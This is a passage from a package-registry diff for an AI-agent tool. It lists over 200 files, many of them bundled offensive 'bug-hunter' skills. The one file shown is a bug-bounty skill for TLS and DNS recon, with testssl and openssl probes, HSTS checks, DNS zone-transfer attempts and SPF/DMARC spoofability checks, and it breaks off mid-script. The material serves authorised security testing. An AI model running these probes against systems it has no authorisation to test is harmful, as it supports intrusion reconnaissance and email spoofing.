@hostclubeos/miraos 0.0.5-beta → 0.0.7-beta

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (219) hide show
  1. package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +407 -0
  2. package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +1558 -0
  3. package/bundled/bug-hunter/references/bb-methodology/SKILL.md +513 -0
  4. package/bundled/bug-hunter/references/bug-bounty/SKILL.md +1604 -0
  5. package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +331 -0
  6. package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +521 -0
  7. package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +356 -0
  8. package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +401 -0
  9. package/bundled/bug-hunter/references/exploit-completion/SKILL.md +155 -0
  10. package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +268 -0
  11. package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +277 -0
  12. package/bundled/bug-hunter/references/hunt-ato/SKILL.md +140 -0
  13. package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +449 -0
  14. package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +297 -0
  15. package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +237 -0
  16. package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +338 -0
  17. package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +92 -0
  18. package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +267 -0
  19. package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +66 -0
  20. package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +195 -0
  21. package/bundled/bug-hunter/references/hunt-cors/SKILL.md +291 -0
  22. package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +374 -0
  23. package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +178 -0
  24. package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +380 -0
  25. package/bundled/bug-hunter/references/hunt-dom/SKILL.md +279 -0
  26. package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +67 -0
  27. package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +158 -0
  28. package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +245 -0
  29. package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +70 -0
  30. package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +368 -0
  31. package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +273 -0
  32. package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +265 -0
  33. package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +62 -0
  34. package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +87 -0
  35. package/bundled/bug-hunter/references/hunt-idor/SKILL.md +389 -0
  36. package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +177 -0
  37. package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +293 -0
  38. package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +211 -0
  39. package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +307 -0
  40. package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +266 -0
  41. package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +245 -0
  42. package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +134 -0
  43. package/bundled/bug-hunter/references/hunt-misc/SKILL.md +333 -0
  44. package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +255 -0
  45. package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +219 -0
  46. package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +166 -0
  47. package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +270 -0
  48. package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +414 -0
  49. package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +179 -0
  50. package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +485 -0
  51. package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +167 -0
  52. package/bundled/bug-hunter/references/hunt-rce/SKILL.md +494 -0
  53. package/bundled/bug-hunter/references/hunt-saml/SKILL.md +112 -0
  54. package/bundled/bug-hunter/references/hunt-session/SKILL.md +298 -0
  55. package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +153 -0
  56. package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +437 -0
  57. package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +301 -0
  58. package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +123 -0
  59. package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +241 -0
  60. package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +422 -0
  61. package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +514 -0
  62. package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +117 -0
  63. package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +335 -0
  64. package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +355 -0
  65. package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +285 -0
  66. package/bundled/bug-hunter/references/hunt-xss/SKILL.md +450 -0
  67. package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +422 -0
  68. package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +287 -0
  69. package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +384 -0
  70. package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +358 -0
  71. package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +353 -0
  72. package/bundled/bug-hunter/references/offensive-osint/README.md +98 -0
  73. package/bundled/bug-hunter/references/offensive-osint/SKILL.md +399 -0
  74. package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +128 -0
  75. package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +180 -0
  76. package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +231 -0
  77. package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +305 -0
  78. package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +105 -0
  79. package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +1266 -0
  80. package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +282 -0
  81. package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +341 -0
  82. package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +138 -0
  83. package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +67 -0
  84. package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +329 -0
  85. package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +72 -0
  86. package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +108 -0
  87. package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +199 -0
  88. package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +188 -0
  89. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +13 -0
  90. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
  91. package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +968 -0
  92. package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +402 -0
  93. package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +180 -0
  94. package/bundled/bug-hunter/references/okta-attack/SKILL.md +397 -0
  95. package/bundled/bug-hunter/references/osint-methodology/README.md +66 -0
  96. package/bundled/bug-hunter/references/osint-methodology/SKILL.md +1704 -0
  97. package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +89 -0
  98. package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +401 -0
  99. package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +347 -0
  100. package/bundled/bug-hunter/references/regression-hunting/SKILL.md +98 -0
  101. package/bundled/bug-hunter/references/report-writing/SKILL.md +568 -0
  102. package/bundled/bug-hunter/references/security-arsenal/SKILL.md +912 -0
  103. package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +648 -0
  104. package/bundled/bug-hunter/references/triage-validation/SKILL.md +418 -0
  105. package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +372 -0
  106. package/bundled/bug-hunter/references/web2-recon/SKILL.md +698 -0
  107. package/bundled/bug-hunter/references/web3-audit/SKILL.md +606 -0
  108. package/chunks/{acpAgent-UHWDA3W7.js → acpAgent-JC4KGTLW.js} +2 -2
  109. package/chunks/{chunk-BX3KM7OK.js → chunk-2PB6TEZU.js} +1 -1
  110. package/chunks/{chunk-4IVYVCCU.js → chunk-3NB3FFLR.js} +1 -1
  111. package/chunks/{chunk-XZNF4YNN.js → chunk-5RYDKYIR.js} +1 -1
  112. package/chunks/{chunk-MUS4ADP7.js → chunk-67PM7M5R.js} +1 -1
  113. package/chunks/{chunk-D3YOXHQF.js → chunk-6T25QVBX.js} +1 -1
  114. package/chunks/{chunk-NYM67KKZ.js → chunk-7SAR6NXA.js} +1 -1
  115. package/chunks/{chunk-RKFNQQNA.js → chunk-BSLIVO6O.js} +1 -1
  116. package/chunks/{chunk-MQWKOOSR.js → chunk-DF6TBGS2.js} +1 -1
  117. package/chunks/{chunk-2TDRP3IX.js → chunk-G35E5UB3.js} +1 -1
  118. package/chunks/{chunk-2GVKPBW5.js → chunk-GN7ODRDE.js} +1 -1
  119. package/chunks/{chunk-PXBJPUGN.js → chunk-H2QXWIRZ.js} +1 -1
  120. package/chunks/{chunk-FRADUGRC.js → chunk-JDABSS6M.js} +1 -1
  121. package/chunks/{chunk-QEIX42MZ.js → chunk-JJQJFMPL.js} +1 -1
  122. package/chunks/{chunk-FXANOHXI.js → chunk-MMGNOY3U.js} +3 -3
  123. package/chunks/{chunk-744QTJR2.js → chunk-N7WQH6L4.js} +2 -2
  124. package/chunks/{chunk-SK3QOQR4.js → chunk-PSSJDUZB.js} +1 -1
  125. package/chunks/{chunk-D3QZNIFB.js → chunk-SOCXRMZM.js} +4 -4
  126. package/chunks/{chunk-N4RIISOE.js → chunk-TXL535SJ.js} +1 -1
  127. package/chunks/{chunk-NKWATWMD.js → chunk-VRAHMOQQ.js} +1 -1
  128. package/chunks/{chunk-62DMHXLL.js → chunk-WCLAVBNR.js} +1 -1
  129. package/chunks/{daemon-status-provider-F6KB2LNG.js → daemon-status-provider-UX574XBB.js} +1 -1
  130. package/chunks/{fast-path-DWPD5EGQ.js → fast-path-OQWHYDXC.js} +1 -1
  131. package/chunks/{llm-RBI7KXDE.js → llm-R2RFT63S.js} +3 -3
  132. package/chunks/{local-HSG47CNJ.js → local-AONDQYFL.js} +1 -1
  133. package/chunks/{managed-local-serve-YE4JDFNP.js → managed-local-serve-DRNC6PTL.js} +1 -1
  134. package/chunks/{managed-runtime-bootstrap-SHEXUEZN.js → managed-runtime-bootstrap-K3GRKDNQ.js} +1 -1
  135. package/chunks/{managed-runtime-ssh-worker-BZNJV7IB.js → managed-runtime-ssh-worker-AVNBWFYC.js} +1 -1
  136. package/chunks/{memory-JTDN5AEA.js → memory-JVT5LAWJ.js} +1 -1
  137. package/chunks/{nonInteractiveCli-BXHX6EIU.js → nonInteractiveCli-2GHQYHGW.js} +1 -1
  138. package/chunks/{review-PC4IDLCG.js → review-NDK2B7XI.js} +1 -1
  139. package/chunks/{run-qwen-serve-XRWVWOZK.js → run-qwen-serve-P5X5OZUH.js} +1 -1
  140. package/chunks/{serve-JCUT4WK7.js → serve-UHEH433U.js} +1 -1
  141. package/chunks/{server-HMTRZJF7.js → server-ARYDETSZ.js} +1 -1
  142. package/chunks/{session-RGLZU6KY.js → session-HKWGCZF2.js} +1 -1
  143. package/chunks/{start-opentui-ui-YNTPK7LX.js → start-opentui-ui-S7A4FBGP.js} +1 -1
  144. package/chunks/{startInteractiveUI-MWA2VYTJ.js → startInteractiveUI-DY6DWFW7.js} +2 -2
  145. package/chunks/{validateNonInterActiveAuth-3433WFLE.js → validateNonInterActiveAuth-P2F6MYO6.js} +1 -1
  146. package/chunks/{version-XCFKTEY3.js → version-2ZFKVIIW.js} +1 -1
  147. package/cli.js +1 -1
  148. package/export-transcript-document.js +1 -1
  149. package/package.json +3 -3
  150. package/web-shell/assets/{PierreFilePreview-DEhWK46v.js → PierreFilePreview-Dkt6iPte.js} +1 -1
  151. package/web-shell/assets/SpreadsheetPreview-I4yiL7q3.js +1 -0
  152. package/web-shell/assets/{WorkspaceFileBrowser-64vDYikf.js → WorkspaceFileBrowser-Du9bMpNo.js} +1 -1
  153. package/web-shell/assets/{abnfDiagram-VCTEODGH-C2WWURam.js → abnfDiagram-VCTEODGH-CGY1lCxS.js} +1 -1
  154. package/web-shell/assets/{agents-route-j5ba59xn.js → agents-route-kcQ3YUNc.js} +1 -1
  155. package/web-shell/assets/{arc-Bkr_-GVn.js → arc-BUMNyJDV.js} +1 -1
  156. package/web-shell/assets/{architectureDiagram-5GKGNRK7-D_v_wDDW.js → architectureDiagram-5GKGNRK7-CEfXhEKD.js} +1 -1
  157. package/web-shell/assets/{blockDiagram-NRAW4CY4-Csxc3YNo.js → blockDiagram-NRAW4CY4-BH8hjvlX.js} +1 -1
  158. package/web-shell/assets/{c4Diagram-UCG6FXSJ-PXryoJCB.js → c4Diagram-UCG6FXSJ-Dfl946ex.js} +1 -1
  159. package/web-shell/assets/channel-CoZByzPk.js +1 -0
  160. package/web-shell/assets/{chunk-2Q5K7J3B-DwK5UBHI.js → chunk-2Q5K7J3B-CBvGm-pD.js} +1 -1
  161. package/web-shell/assets/{chunk-5VM5RSS4-BC1hvD6_.js → chunk-5VM5RSS4-k06tGOfl.js} +1 -1
  162. package/web-shell/assets/{chunk-F27PBJKO-iFe0IxfJ.js → chunk-F27PBJKO-Dv4S4vSq.js} +1 -1
  163. package/web-shell/assets/{chunk-G27WJ6UU-ROSuKRxI.js → chunk-G27WJ6UU-7LY0yu3f.js} +1 -1
  164. package/web-shell/assets/{chunk-JWPE2WC7-CYHS6PxA.js → chunk-JWPE2WC7-B-CgVEuJ.js} +1 -1
  165. package/web-shell/assets/{chunk-LCL6LL3I-D5bFMqCy.js → chunk-LCL6LL3I-D0TrWx1f.js} +1 -1
  166. package/web-shell/assets/{chunk-POPQ4Y6H-BJh77MGv.js → chunk-POPQ4Y6H-B97ZANlR.js} +1 -1
  167. package/web-shell/assets/{chunk-SVP7TREG-Cs81aYft.js → chunk-SVP7TREG-2CO_3G76.js} +1 -1
  168. package/web-shell/assets/{chunk-XXDRQBXY-DqDbN44E.js → chunk-XXDRQBXY-CFbSHjzz.js} +1 -1
  169. package/web-shell/assets/classDiagram-DTDB5LWJ-BgKRvG5r.js +1 -0
  170. package/web-shell/assets/classDiagram-v2-JRS7N3AN-BgKRvG5r.js +1 -0
  171. package/web-shell/assets/{cose-bilkent-JH36ORCC-DhjrwADJ.js → cose-bilkent-JH36ORCC-K-uc8eFw.js} +1 -1
  172. package/web-shell/assets/{cynefin-OW5HDTMX-Dh7t-_3M.js → cynefin-OW5HDTMX-Cb0lt2G3.js} +1 -1
  173. package/web-shell/assets/{cynefinDiagram-5FMLGOSQ-5J4kto0C.js → cynefinDiagram-5FMLGOSQ-DWkqpFuH.js} +1 -1
  174. package/web-shell/assets/{dagre-3AP2YEHR-28AdbIcl.js → dagre-3AP2YEHR-Cs8gu3Q4.js} +1 -1
  175. package/web-shell/assets/{diagram-S7CK7UJ4-DmksuoIf.js → diagram-S7CK7UJ4-DlMLXUgK.js} +1 -1
  176. package/web-shell/assets/{diagram-UQ7AKVKN-DUjgQ8Fg.js → diagram-UQ7AKVKN-68PPYL92.js} +1 -1
  177. package/web-shell/assets/{diagram-VSXAHHWV-DUe_FpG-.js → diagram-VSXAHHWV-CxIdRSbx.js} +1 -1
  178. package/web-shell/assets/{diagram-VX7I27RA-CJJ70teK.js → diagram-VX7I27RA-G3C0kWVW.js} +1 -1
  179. package/web-shell/assets/{diagram-Z3DM3KII-BgABlJO4.js → diagram-Z3DM3KII-CwEuAgyS.js} +1 -1
  180. package/web-shell/assets/{docx-preview-BMBWboRx.js → docx-preview-3XzkP9iR.js} +1 -1
  181. package/web-shell/assets/{ebnfDiagram-PWID7BFC-B3nK_Lh7.js → ebnfDiagram-PWID7BFC-DLeMX1Ka.js} +1 -1
  182. package/web-shell/assets/{erDiagram-SSCWMZ5O-DCTdCWlu.js → erDiagram-SSCWMZ5O-CoQLSOGk.js} +1 -1
  183. package/web-shell/assets/{flowDiagram-A5DVABFB-CPxk2UUl.js → flowDiagram-A5DVABFB-BXUV-Qml.js} +1 -1
  184. package/web-shell/assets/{ganttDiagram-EL5Y4UJY-WZzMAKht.js → ganttDiagram-EL5Y4UJY-sWi6Lowi.js} +1 -1
  185. package/web-shell/assets/{gitGraphDiagram-WWUBYQGX-DKcO5ugU.js → gitGraphDiagram-WWUBYQGX-Dsh4-kB4.js} +1 -1
  186. package/web-shell/assets/{index-CkRLMu1y.js → index-CrSq-SfJ.js} +6 -6
  187. package/web-shell/assets/{index-Dbm3-Fps.js → index-DjwWlZt0.js} +1 -1
  188. package/web-shell/assets/{infoDiagram-RXCK75RN-CJX5DzdL.js → infoDiagram-RXCK75RN-JZ6nFIgB.js} +1 -1
  189. package/web-shell/assets/{ishikawaDiagram-5VMMS53U-fF0Id5B6.js → ishikawaDiagram-5VMMS53U-qJj-sQFs.js} +1 -1
  190. package/web-shell/assets/{journeyDiagram-EYS64GPL-BOAezBVe.js → journeyDiagram-EYS64GPL-Ck0jv8SO.js} +1 -1
  191. package/web-shell/assets/{kanban-definition-3QL26DDD-DdNBof9J.js → kanban-definition-3QL26DDD-Ck6_Ydmt.js} +1 -1
  192. package/web-shell/assets/{layout-CXX3l5w0.js → layout-yLaSulE8.js} +1 -1
  193. package/web-shell/assets/{linear-Dnaccp-S.js → linear-CXw5rE6U.js} +1 -1
  194. package/web-shell/assets/{mermaid.core-BzdC3B6T.js → mermaid.core-6WQsyLcq.js} +6 -6
  195. package/web-shell/assets/{mindmap-definition-FBJOCRG2-D-gMUzLw.js → mindmap-definition-FBJOCRG2-BDAmAz8h.js} +1 -1
  196. package/web-shell/assets/{pegDiagram-XKGWAZYB-B9n1WVZq.js → pegDiagram-XKGWAZYB-Rvn5mpol.js} +1 -1
  197. package/web-shell/assets/{pieDiagram-E7YTZNPT-ok49U0zT.js → pieDiagram-E7YTZNPT-DHw4avFL.js} +1 -1
  198. package/web-shell/assets/{quadrantDiagram-AXDQQJYC-DJKha-v3.js → quadrantDiagram-AXDQQJYC-vch6jDK-.js} +1 -1
  199. package/web-shell/assets/{railroadDiagram-O6MQD6OU-DjL4pl7y.js → railroadDiagram-O6MQD6OU-DfVCzYpO.js} +1 -1
  200. package/web-shell/assets/{requirementDiagram-EFPCY7ZU-BpmmRw3A.js → requirementDiagram-EFPCY7ZU-BQAnwpSv.js} +1 -1
  201. package/web-shell/assets/{sankeyDiagram-P5KCCOFB-KpteHB8X.js → sankeyDiagram-P5KCCOFB-fJuxdbbi.js} +1 -1
  202. package/web-shell/assets/{sequenceDiagram-WJ2MYXX4-COMghCpA.js → sequenceDiagram-WJ2MYXX4-B3TtvHJp.js} +1 -1
  203. package/web-shell/assets/{sizeCapture-X5ZJPWSS-5fEwJD-n.js → sizeCapture-X5ZJPWSS-DlJmbcZd.js} +1 -1
  204. package/web-shell/assets/{stateDiagram-HBIQ2CUA-CnC7oXvs.js → stateDiagram-HBIQ2CUA--0kiPvGS.js} +1 -1
  205. package/web-shell/assets/stateDiagram-v2-4QOOHH4V-Dw-ppcvp.js +1 -0
  206. package/web-shell/assets/{swimlanes-XN3QIQJK-bVlhZdve.js → swimlanes-XN3QIQJK-CAytfKbo.js} +1 -1
  207. package/web-shell/assets/swimlanesDiagram-VK2B7HYN-B36XZQuh.js +8 -0
  208. package/web-shell/assets/{timeline-definition-24CTP7MA-CBvYgMu5.js → timeline-definition-24CTP7MA-C-BUmwu6.js} +1 -1
  209. package/web-shell/assets/{vennDiagram-4TSXK5OY-CUTYvV1j.js → vennDiagram-4TSXK5OY-W_dgEGv2.js} +1 -1
  210. package/web-shell/assets/{wardleyDiagram-VM6X3IG4-Djl4gxCB.js → wardleyDiagram-VM6X3IG4-ikAv1QJ9.js} +1 -1
  211. package/web-shell/assets/{xychartDiagram-S5SC5T6Z-BcJZtI2X.js → xychartDiagram-S5SC5T6Z-BmY9Ily6.js} +1 -1
  212. package/web-shell/index.html +1 -1
  213. package/web-shell/sw.js +1 -1
  214. package/web-shell/assets/SpreadsheetPreview-C-GgIuPX.js +0 -1
  215. package/web-shell/assets/channel-6Pj4KPAs.js +0 -1
  216. package/web-shell/assets/classDiagram-DTDB5LWJ-BaTUuuB8.js +0 -1
  217. package/web-shell/assets/classDiagram-v2-JRS7N3AN-BaTUuuB8.js +0 -1
  218. package/web-shell/assets/stateDiagram-v2-4QOOHH4V-V_cfZFBL.js +0 -1
  219. package/web-shell/assets/swimlanesDiagram-VK2B7HYN-25wVg0WL.js +0 -8
@@ -0,0 +1,355 @@
1
+ ---
2
+ name: hunt-tls-network
3
+ description: "Hunt TLS/SSL and DNS misconfigurations — missing HSTS (downgrade attack), weak cipher suites, expired/invalid certificates, mTLS bypass, missing SPF/DKIM/DMARC (email spoofing), DNS Zone Transfer (AXFR), dangling CNAME subdomain takeover, CAA records. Most of these are Info/Low on their own — this skill is opinionated about which findings actually pay (spoofable DMARC with delivered-to-inbox proof, AXFR returning internal hosts, dangling-CNAME takeover) versus which get rejected as best-practice noise (missing CAA, missing HSTS with no MitM position). Use during recon to find infrastructure weaknesses, and to TRIAGE them honestly before reporting."
4
+ report_count: 6
5
+ sources: portswigger_research, ssl_labs_research, hstspreload_org
6
+ ---
7
+
8
+ # HUNT-TLS-NETWORK — TLS/SSL & DNS Security
9
+
10
+ ## Reality Check (Read First)
11
+
12
+ Most findings in this class are **Info/Low and routinely rejected** as "best-practice" / "missing-hardening" by triage. This skill exists to stop you wasting a submission. Two questions before you report anything here:
13
+
14
+ 1. **Is there a real victim and a real action?** "Missing HSTS" is not a vulnerability — *demonstrated session-cookie capture from a victim you MitM'd* is. "Missing CAA" is never a vulnerability you can demonstrate.
15
+ 2. **Does the program accept it?** Many programs explicitly list missing SPF/DMARC, missing security headers, weak ciphers without exploit, and CAA as **out of scope**. Read scope first; quote the in-scope line in your report.
16
+
17
+ **What actually pays in this class (in order):**
18
+ - **Dangling-CNAME / dangling-A subdomain takeover** — you control content on `target.com` subdomain. Real impact, real bounty. (Owned in depth by `hunt-subdomain`; covered here for the TLS/DNS recon angle.)
19
+ - **Spoofable DMARC, proven by delivered-to-inbox email** — not "p=none exists" but an actual mail from `ceo@target.com` landing in a real inbox with a passing/none DMARC verdict in the headers.
20
+ - **DNS AXFR returning internal hosts** — full internal hostname/IP map. Concrete recon value, often Medium.
21
+ - **mTLS / client-cert bypass on an internal service** — reaching authenticated-only functionality without the cert. Real auth bypass = High.
22
+ - **Exploited TLS weakness with a working decrypt/MitM PoC** — almost never achievable remotely in 2024-2026 against a patched stack; see Phase 1 caveats.
23
+
24
+ **What does NOT pay (do not report standalone):** missing CAA, missing HSTS with no MitM PoC, missing security headers alone, weak-cipher *support* without an exploit, self-signed cert on a non-prod host, TLS 1.0/1.1 *enabled* without a downgrade victim.
25
+
26
+ ---
27
+
28
+ ## Phase 1 — TLS/SSL Audit
29
+
30
+ ```bash
31
+ # Quick TLS test with testssl.sh
32
+ brew install testssl
33
+ testssl.sh --fast $TARGET 2>/dev/null | grep -E "CRITICAL|HIGH|MEDIUM|OK|NOT" | head -30
34
+
35
+ # Or use sslyze (Python)
36
+ pip3 install sslyze
37
+ python3 -m sslyze $TARGET --json_out /tmp/sslyze_$TARGET.json 2>/dev/null
38
+ cat /tmp/sslyze_$TARGET.json | python3 -m json.tool | grep -i "vulnerability\|insecure\|error" | head -20
39
+
40
+ # Check certificate expiry and chain
41
+ echo | openssl s_client -connect $TARGET:443 -servername $TARGET 2>/dev/null | \
42
+ openssl x509 -noout -dates -subject -issuer 2>/dev/null
43
+
44
+ # Check for weak ciphers manually (a successful handshake = the cipher is OFFERED, not exploitable)
45
+ openssl s_client -connect $TARGET:443 -cipher RC4-SHA 2>/dev/null | grep -i "cipher\|handshake"
46
+ openssl s_client -connect $TARGET:443 -cipher DES-CBC3-SHA 2>/dev/null | grep -i "cipher\|handshake"
47
+
48
+ # Protocol downgrade surface — TLS 1.0/1.1 still negotiable?
49
+ openssl s_client -connect $TARGET:443 -tls1 2>/dev/null | grep -E "Protocol|Cipher"
50
+ openssl s_client -connect $TARGET:443 -tls1_1 2>/dev/null | grep -E "Protocol|Cipher"
51
+ ```
52
+
53
+ **Accuracy / triage notes — do not over-claim TLS bugs:**
54
+
55
+ - **Offered ≠ exploitable.** testssl/sslyze flagging RC4, 3DES, or TLS 1.0 means the server *negotiates* it. That is a hardening finding, **not** a demonstrated decrypt. Without a PoC it is Info/Low and frequently OOS.
56
+ - **SWEET32 (CVE-2016-2183)** — 3DES birthday attack. Requires a long-lived TLS session, an on-path attacker, and ~hundreds of GB / hours of same-key traffic. Realistically un-demonstrable in a bug bounty; report only the *support* of 3DES, expect Low/Info.
57
+ - **POODLE (CVE-2014-3566)** — SSLv3 CBC padding oracle. Needs **SSLv3 actually enabled**; almost no modern stack offers it. Confirm with `testssl.sh --poodle` (or `nmap --script ssl-poodle`) — modern OpenSSL 3.x dropped the `-ssl3` flag. If SSLv3 won't negotiate, there is no POODLE.
58
+ - **FREAK (CVE-2015-0204)** and **DROWN (CVE-2016-0800)** — require export-grade RSA / a shared SSLv2 endpoint respectively. Both are pre-conditions you must *prove present*, not assume. DROWN needs SSLv2 reachable on *some* host sharing the cert/key — scan for SSLv2 with `testssl.sh --drown` (or `nmap --script sslv2-drown`) across the cert's SAN list before claiming it; modern OpenSSL has no `-ssl2` flag.
59
+ - **Heartbleed (CVE-2014-0160)** — if you genuinely find an unpatched OpenSSL 1.0.1 leaking memory, that *is* High/Critical with a real PoC (dump containing keys/cookies). Verify with `testssl.sh --heartbleed` and capture leaked bytes; this is the rare TLS bug worth a full report.
60
+
61
+ ---
62
+
63
+ ## Phase 2 — HSTS Check
64
+
65
+ ```bash
66
+ # Check HSTS header on main domain and all subdomains
67
+ curl -sI "https://$TARGET/" | grep -i "strict-transport-security"
68
+ # Expected: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
69
+
70
+ # Check critical subdomains (login, api, auth)
71
+ for sub in login auth api account pay www; do
72
+ HSTS=$(curl -sI "https://$sub.$TARGET/" 2>/dev/null | grep -i "strict-transport-security")
73
+ if [ -z "$HSTS" ]; then
74
+ echo "[!] MISSING HSTS: https://$sub.$TARGET/"
75
+ else
76
+ echo "[OK] $sub.$TARGET: $HSTS"
77
+ fi
78
+ done
79
+
80
+ # Check HTTP (non-HTTPS) redirect
81
+ curl -sI "http://$TARGET/" | grep -i "location"
82
+ # Should redirect to HTTPS immediately
83
+
84
+ # HSTS preload check
85
+ curl -s "https://hstspreload.org/api/v2/status?domain=$TARGET" | python3 -m json.tool 2>/dev/null
86
+ ```
87
+
88
+ ---
89
+
90
+ ## Phase 3 — DNS Zone Transfer (AXFR)
91
+
92
+ ```bash
93
+ # Find nameservers
94
+ dig NS $TARGET +short
95
+
96
+ # Attempt zone transfer on each nameserver
97
+ for NS in $(dig NS $TARGET +short); do
98
+ echo "=== Trying AXFR from $NS ==="
99
+ dig AXFR $TARGET @$NS 2>/dev/null | grep -v "^;" | head -30
100
+ done
101
+
102
+ # Zone transfer via alternative tools
103
+ host -t AXFR $TARGET $(dig NS $TARGET +short | head -1) 2>/dev/null | head -30
104
+ nmap -sn --script dns-zone-transfer $TARGET 2>/dev/null | head -30
105
+
106
+ # If AXFR succeeds → full internal hostname map
107
+ # Look for: internal IPs, staging servers, admin hostnames, CI/CD servers
108
+ ```
109
+
110
+ ---
111
+
112
+ ## Phase 4 — Email Security (SPF/DKIM/DMARC)
113
+
114
+ ```bash
115
+ # Check SPF record
116
+ dig TXT $TARGET +short | grep "v=spf1"
117
+ # Missing SPF → potential email spoofing
118
+
119
+ # Check DMARC
120
+ dig TXT _dmarc.$TARGET +short
121
+ # Missing DMARC → attacker can send as @target.com with no enforcement
122
+
123
+ # Check DKIM selectors (common: default, google, mail, k1)
124
+ for selector in default google mail k1 selector1 selector2 s1 s2 dkim; do
125
+ RESULT=$(dig TXT $selector._domainkey.$TARGET +short 2>/dev/null)
126
+ [ -n "$RESULT" ] && echo "DKIM selector found: $selector → $RESULT"
127
+ done
128
+
129
+ # --- Spoofability evaluation (heuristic only; PROOF is the swaks test below) ---
130
+ SPF=$(dig +short TXT $TARGET | tr -d '"' | grep -i "v=spf1")
131
+ DMARC=$(dig +short TXT _dmarc.$TARGET | tr -d '"' | grep -i "v=DMARC1")
132
+
133
+ # SPF "+all" / "all" with no qualifier = pass-everything = spoofable from any IP
134
+ echo "$SPF" | grep -Eq '[+ ]all($|[^-~?])' && echo "[CRITICAL] SPF passes all senders (+all)"
135
+ echo "$SPF" | grep -q "~all" && echo "[INFO] SPF softfail (~all) — may still deliver to inbox"
136
+ [ -z "$SPF" ] && echo "[INFO] No SPF record"
137
+
138
+ # Correct DMARC-absence check: test the variable for emptiness, do NOT pipe dig|wc -c
139
+ if [ -z "$DMARC" ]; then
140
+ echo "[INFO] No DMARC record (no published policy)"
141
+ else
142
+ POLICY=$(echo "$DMARC" | grep -oiE 'p=[a-z]+' | head -1)
143
+ echo "[INFO] DMARC present: $POLICY"
144
